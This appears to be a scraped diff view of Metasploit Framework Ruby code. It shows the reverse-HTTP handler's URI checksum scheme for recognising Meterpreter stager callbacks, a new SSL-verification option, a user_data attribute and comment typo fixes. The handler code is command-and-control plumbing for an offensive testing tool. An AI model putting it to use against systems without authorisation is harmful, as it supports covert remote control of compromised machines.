# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Handler
|
||||
module ReverseHttp
|
||||
module UriChecksum
|
||||
|
||||
#
|
||||
# Define 8-bit checksums for matching URLs
|
||||
# These are based on charset frequency
|
||||
#
|
||||
URI_CHECKSUM_INITW = 92 # Windows
|
||||
URI_CHECKSUM_INITP = 80 # Python
|
||||
URI_CHECKSUM_INITJ = 88 # Java
|
||||
URI_CHECKSUM_CONN = 98
|
||||
|
||||
#
|
||||
# Precalculated checkums as fallback
|
||||
#
|
||||
URI_CHECKSUM_PRECALC = [
|
||||
"Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp",
|
||||
"cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt",
|
||||
"E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby",
|
||||
"tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563",
|
||||
"0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg",
|
||||
"U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E",
|
||||
"KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2",
|
||||
"1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ",
|
||||
"HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg",
|
||||
"J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1",
|
||||
"k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5",
|
||||
"bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I",
|
||||
"YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ",
|
||||
"KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC",
|
||||
"CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ",
|
||||
"2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5",
|
||||
"Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi",
|
||||
"iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP",
|
||||
"eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA",
|
||||
"oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL",
|
||||
"dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS",
|
||||
"BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t",
|
||||
"7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG",
|
||||
"kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM",
|
||||
"aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg",
|
||||
"zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"
|
||||
]
|
||||
|
||||
# Map "random" URIs to static strings, allowing us to randomize
|
||||
# the URI sent in the first request.
|
||||
#
|
||||
# @param uri_match [String] The URI string to convert back to the original static value
|
||||
# @return [String] The static URI value derived from the checksum
|
||||
def process_uri_resource(uri_match)
|
||||
|
||||
# This allows 'random' strings to be used as markers for
|
||||
# the INIT and CONN request types, based on a checksum
|
||||
uri_strip, uri_conn = uri_match.split('_', 2)
|
||||
uri_strip.sub!(/^\//, '')
|
||||
uri_check = Rex::Text.checksum8(uri_strip)
|
||||
|
||||
# Match specific checksums and map them to static URIs
|
||||
case uri_check
|
||||
when URI_CHECKSUM_INITW
|
||||
uri_match = "/INITM"
|
||||
when URI_CHECKSUM_INITP
|
||||
uri_match = "/INITPY"
|
||||
when URI_CHECKSUM_INITJ
|
||||
uri_match = "/INITJM"
|
||||
when URI_CHECKSUM_CONN
|
||||
uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) )
|
||||
end
|
||||
|
||||
uri_match
|
||||
end
|
||||
|
||||
# Create a URI that matches a given checksum
|
||||
#
|
||||
# @param sum [Fixnum] The checksum value you are trying to create a URI for
|
||||
# @param len [Fixnum] An optional length value for the created URI
|
||||
# @return [String] The URI string that checksums to the given value
|
||||
def generate_uri_checksum(sum,len=nil)
|
||||
return generate_uri_checksum_with_length(sum, len) if len
|
||||
|
||||
chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
|
||||
32.times do
|
||||
uri = Rex::Text.rand_text_alphanumeric(3)
|
||||
chk.sort_by {rand}.each do |x|
|
||||
return(uri + x) if Rex::Text.checksum8(uri + x) == sum
|
||||
end
|
||||
end
|
||||
|
||||
# Otherwise return one of the pre-calculated strings
|
||||
return URI_CHECKSUM_PRECALC[sum]
|
||||
end
|
||||
|
||||
# Create an arbitrary length URI that matches a given checksum
|
||||
#
|
||||
# @param sum [Fixnum] The checksum value you are trying to create a URI for
|
||||
# @param len [Fixnum] The length of the created URI
|
||||
# @return [String] The URI string that checksums to the given value
|
||||
def generate_uri_checksum_with_length(sum, len)
|
||||
# Lengths shorter than 4 bytes are unable to match all possible checksums
|
||||
# Lengths of exactly 4 are relatively slow to find for high checksum values
|
||||
# Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms)
|
||||
raise ArgumentError, "Length must be 5 bytes or greater" if len < 5
|
||||
|
||||
# Funny enough, this was more efficient than calculating checksum offsets
|
||||
if len < 40
|
||||
loop do
|
||||
uri = Rex::Text.rand_text_alphanumeric(len)
|
||||
return uri if Rex::Text.checksum8(uri) == sum
|
||||
end
|
||||
end
|
||||
|
||||
# The rand_text_alphanumeric() method becomes a bottleneck at around 40 bytes
|
||||
# Calculating a static prefix flattens out the average runtime for longer URIs
|
||||
prefix = Rex::Text.rand_text_alphanumeric(len-20)
|
||||
|
||||
loop do
|
||||
uri = prefix + Rex::Text.rand_text_alphanumeric(20)
|
||||
return uri if Rex::Text.checksum8(uri) == sum
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -43,7 +43,8 @@ module ReverseHttps
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"])
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
|
||||
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
|
||||
], Msf::Handler::ReverseHttps)
|
||||
|
||||
end
|
||||
|
|
|
@ -3,11 +3,13 @@ require 'msf/core'
|
|||
|
||||
module Msf
|
||||
|
||||
autoload :OptionContainer, 'msf/core/option_container'
|
||||
|
||||
###
|
||||
#
|
||||
# The module base class is responsible for providing the common interface
|
||||
# that is used to interact with modules at the most basic levels, such as
|
||||
# by inspecting a given module's attributes (name, dsecription, version,
|
||||
# by inspecting a given module's attributes (name, description, version,
|
||||
# authors, etc) and by managing the module's data store.
|
||||
#
|
||||
###
|
||||
|
@ -57,6 +59,10 @@ class Module
|
|||
# datastore, consumed by #replicant to allow clean override of MSF module methods.
|
||||
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
|
||||
|
||||
# The set of keys in {#user_data} that make {#user_data_is_match?} return
|
||||
# true
|
||||
MATCH_KEYS = Set.new([ :match, :match_set, :run ])
|
||||
|
||||
# Make include public so we can runtime extend
|
||||
public_class_method :include
|
||||
|
||||
|
@ -272,12 +278,31 @@ class Module
|
|||
end
|
||||
|
||||
#
|
||||
# Support fail_with for all module types, allow specific classes to override
|
||||
# Raises a RuntimeError failure message. This is meant to be used for all non-exploits,
|
||||
# and allows specific classes to override.
|
||||
#
|
||||
# @param reason [String] A reason about the failure.
|
||||
# @param msg [String] (Optional) A message about the failure.
|
||||
# @raise [RuntimeError]
|
||||
# @return [void]
|
||||
# @note If you are writing an exploit, you don't use this API. Instead, please refer to the
|
||||
# API documentation from lib/msf/core/exploit.rb.
|
||||
# @see Msf::Exploit#fail_with
|
||||
# @example
|
||||
# fail_with('No Access', 'Unable to login')
|
||||
#
|
||||
def fail_with(reason, msg=nil)
|
||||
raise RuntimeError, "#{reason.to_s}: #{msg}"
|
||||
end
|
||||
|
||||
# Whether {#user_data} contains everything necessary to make a
|
||||
# `MetasploitDataModels::AutomaticExploitation::MatchResult`
|
||||
#
|
||||
# @return [bool]
|
||||
def user_data_is_match?
|
||||
user_data.kind_of?(Hash) && Set.new(user_data.keys).superset?(MATCH_KEYS)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Just some handy quick checks
|
||||
|
@ -295,6 +320,7 @@ class Module
|
|||
# The array of zero or more platforms.
|
||||
#
|
||||
attr_reader :platform
|
||||
|
||||
#
|
||||
# The reference count for the module.
|
||||
#
|
||||
|
@ -315,6 +341,15 @@ class Module
|
|||
#
|
||||
attr_accessor :error
|
||||
|
||||
# An opaque bag of data to attach to a module. This is useful for attaching
|
||||
# some piece of identifying info on to a module before calling
|
||||
# {Msf::Simple::Exploit#exploit_simple} or
|
||||
# {Msf::Simple::Auxiliary#run_simple} for correlating where modules came
|
||||
# from.
|
||||
#
|
||||
# @see #user_data_is_match?
|
||||
attr_accessor :user_data
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
|
|
|
@ -12,7 +12,7 @@ module Msf::Module::FullName
|
|||
|
||||
|
||||
# @attribute refname
|
||||
# The module's name that is assigned it it by the framework
|
||||
# The module's name that is assigned to it by the framework
|
||||
# or derived from the path that the module is loaded from.
|
||||
attr_accessor :refname
|
||||
|
||||
|
@ -64,4 +64,4 @@ module Msf::Module::FullName
|
|||
def shortname
|
||||
self.class.shortname
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'abbrev'
|
|||
class Msf::Module::Platform
|
||||
|
||||
Rank = 0
|
||||
# actually, having a argument of '' is what to do for wanting 'all'
|
||||
# actually, having an argument of '' is what to do for wanting 'all'
|
||||
Short = "all"
|
||||
|
||||
class << self
|
||||
|
@ -18,7 +18,7 @@ class Msf::Module::Platform
|
|||
end
|
||||
|
||||
#
|
||||
# Returns the "real" name of the module instance, accouting for potentially
|
||||
# Returns the "real" name of the module instance, accounting for potentially
|
||||
# aliased class names.
|
||||
#
|
||||
def self.realname
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# This is a helper to a easy way to specify support platforms. It will take a
|
||||
# This is a helper to an easy way to specify support platforms. It will take a
|
||||
# list of strings or Msf::Module::Platform objects and build them into a list
|
||||
# of Msf::Module::Platform objects. It also supports ranges based on relative
|
||||
# ranks...
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue